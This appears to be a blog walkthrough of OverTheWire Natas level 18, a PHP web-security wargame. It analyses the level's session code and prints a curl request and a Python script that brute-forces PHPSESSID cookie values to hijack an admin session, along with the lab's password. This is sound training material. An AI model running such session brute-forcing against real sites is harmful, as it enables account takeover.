OverTheWire Natas Level 18 Walkthrough
We’re past the halfway point now, and up next is level 18. Natas is an online “war game” focused on PHP web security. This blog post covers level 18 as a full walkthrough.
What is Natas?
Natas is an online hacking game meant to help you learn and practice security concepts.
OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.
Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org
. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.
Each level requires the levels below it to be solved, so you will need the level 18 flag found in level 17 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!
Level 18 ➔ 19
Level 18 is a departure from previous levels. If we open up http://natas18.natas.labs.overthewire.org/index.php
and login with username natas18
and password xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
from the previous writeup, we’re greeted with a login screen:

Source code analysis
The source code is quite a bit more complicated than previous versions. Scanning through it, this function seems like where we want to get to, since it prints the next level’s password:

It will check if we have a $_SESSION
variable, then see if the array key “admin” exists, and if the value is equal to 1.
The function print_credentials()
is called from here:

There are two possible code paths here. One is from my_session_start()
and the other is from creating a new session from a new login and checking isValidAdminLogin()
.
Code path 2: if case
This code path calls my_session_start()
.

This function will:
- Check if the PHPSESSID key exists in the cookie, and if the value is valid (is numeric).
- It will try to start the session, and if that goes okay, it will check for the existence of “admin” in the
$_SESSION
variable. - If the
admin
key exists, it will set the value to 0, similar to the last code path.
Code path 2: else case
The second code path (within the else case shown above):
- Checks for existence of a
username
andpassword
in the request. - Creates a new session with a random ID between 1 and the max value of 640.
- It starts the session, and then sets $_SESSION[“admin”] to the result of
isValidAdminLogin()
- Shows us credentials, or says we’re not admin.
The function isValidAdminLogin()
looks like:

The return 1;
line is commented out, meaning that we can’t actually become an admin by logging in with a username of admin
. We would end up with $_SESSION["admin"] = 0;
instead of equaling 1, like we need to get the password.
Trying logins
While source code analysis is helpful in itself, I stopped to test out the app using random logins.
If we login with username test
and password test
(as a complete guess), we get logged in, and are shown this screen, which makes sense based on the source code we’ve seen thus far:

Open up Dev Tools, click the Application tab (or Storage if you’re using Firefox), and you’ll see that we have a PHPSESSID
with a random value between 1 and 640:

What happens if we set it to 1?

Double-click the value and change it to 1, then instead of refreshing the page, append ?debug
onto the end of the URL (http://natas18.natas.labs.overthewire.org/index.php?debug
) and hit enter:

I didn’t get anywhere with this, but I did notice there’s a new random PHPSESSID each time I login with a made-up set of credentials.
Assessing the Situation
To get the flag, we need the application to recognize us as an admin by entering admin
as a key in the $_SESSION
variable, and set the value to 1.
Because of the code in isValidAdminLogin()
, the only surefire way to not get in is to set admin
as our username.
After messing around with different PHPSESSID values, and re-reading the code, I realized that there isn’t a code path where the $_SESSION["admin"]
gets set to 1
.
Or at least, there isn’t one that’s shown to us. The only hint shown to us is that the max PHPSESSID
value is 640, and the value set for each login is random.
I was out of other ideas so I decided to brute force the ID in the event that there was one random “good” value.
Bruteforcing the PHPSESSID
Since there are 640 different options, this is a good candidate for scripting. First, I opened up Dev Tools and copied an index.php
request from the Network view, after I had logged in with test / test
.
Then, I right-clicked on the request and copied it as a cURL request.
With the extra headers removed, the request looks like this:
curl 'http://natas18.natas.labs.overthewire.org/index.php' \
-H 'Authorization: Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==' \
-H 'Cookie: PHPSESSID=515' \
--insecure
After seeing it in curl form, I realized it’d be easy to add to my existing script template that I’ve been using for previous levels. Python requests allows you to add headers as a JSON object.
My script looks like:
import requests
import string
from requests.auth import HTTPBasicAuth
basicAuth=HTTPBasicAuth('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP')
MAX = 640
count = 1
u="http://natas18.natas.labs.overthewire.org/index.php?debug"
while count <= MAX:
sessionID = "PHPSESSID=" + str(count)
print(sessionID)
headers = {'Cookie': sessionID}
response = requests.get(u, headers=headers, auth=basicAuth, verify=False)
if "You are logged in as a regular user" not in response.text:
print(response.text)
count += 1
print("Done!")
This script has a count
variable (which we will use for our PHPSESSID
). This is concatenated into a cookie value, which is then sent along with the basicAuth
info in a GET request.
Each response.text
will be checked for the ‘regular user’ message. If that’s missing, we might have an admin PHPSESSID
.
Running this script eventually results in a matching PHPSESSID
of 119:

Natas Level 18 Solution
While the script in the previous section has found the password for us, we can view it in-browser, too. Open up Dev Tools and set the PHPSESSID
to 119
. Then, refresh the page:

Takeaway: random PHPSESSID
values are not secure.